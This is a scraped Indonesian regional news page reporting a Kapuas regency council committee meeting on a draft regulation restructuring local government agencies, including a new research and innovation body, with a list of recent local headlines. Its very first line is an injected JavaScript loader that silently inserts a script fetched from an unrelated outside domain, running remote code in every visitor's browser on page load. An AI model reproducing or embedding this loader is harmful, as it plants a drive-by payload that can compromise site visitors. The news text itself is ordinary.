(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Pansus II DPRD Kapuas Gelar Rapat, Ini Raperda yang Dibahas


KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) II DPRD Kabupaten Kapuas menggelar rapat pembahasan Rancangan Peraturan Daerah (Raperda) tentang perubahan kedua atas Perda Nomor 10 Tahun 2016 tentang pembentukan dan susunan perangkat daerah, Kamis (25/4/2024) siang.

Rapat pembahasan berlangsung di ruang rapat gabungan komisi dipimpin Anggota DPRD Kapuas, Darwandie. Rapat dihadiri sejumlah anggota Pansus dan kepala organisasi perangkat daerah terkait.

Menurut Darwandie dalam proses pembentukan Raperda ada beberapa tahapan yang harus dilalui. Pertama adalah tahapan perencanaan Perda itu sendiri.

Baca juga: Kasus Cuci Uang Narkoba Fredy Pratama, Sang Ayah Divonis 20 Bulan Penjara 

“Selain tahapan perencanaan juga ada tahapan pembahasan, penetapan dan pembentukan Perda. Hari ini kita pada posisi pembahasan,” ujarnya.

Darwandie mengatakan setelah dilakukan perubahan kedua atas Perda 10 tahun 2016, maka nanti struktur organisasi di lingkup Pemerintahan Kabupaten (Pemkab) Kapuas akan mengalami perubahan.

“Yang pertama akan ada penambahan dinas baru, itu direncanakan. Kemudian juga nomenklatur di Bappeda juga akan berubah,” katanya.

Baca juga: Lepas Kafilah ke MTQ Provinsi, Bupati Banjar Optimistis Juara Umum Lagi

Masih lanjut Darwandie, kalau dulu Bappeda ada perencanaan dan penelitian atau litbang, nanti tidak ada lagi, diubah menjadi pembentukan badan riset dan inovasi daerah (Brida).

“Jadi, Brida ini sebenarnya dalam amanahnya bisa dibentuk lembaga tersendiri atau bisa juga masih gabung di Bappeda, tapi dia akan lebih luas lagi kewenangannya,” beber Darwandie.

“Karena nanti di daerah ini perencanaan pembangunan itu diawali hasil riset dulu. Kemudian dilakukan perencanaan melalui beberapa mekanisme seperti musrenbang, pokok pikiran DPRD dan lain sebagainya,” pungkas Darwandie. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.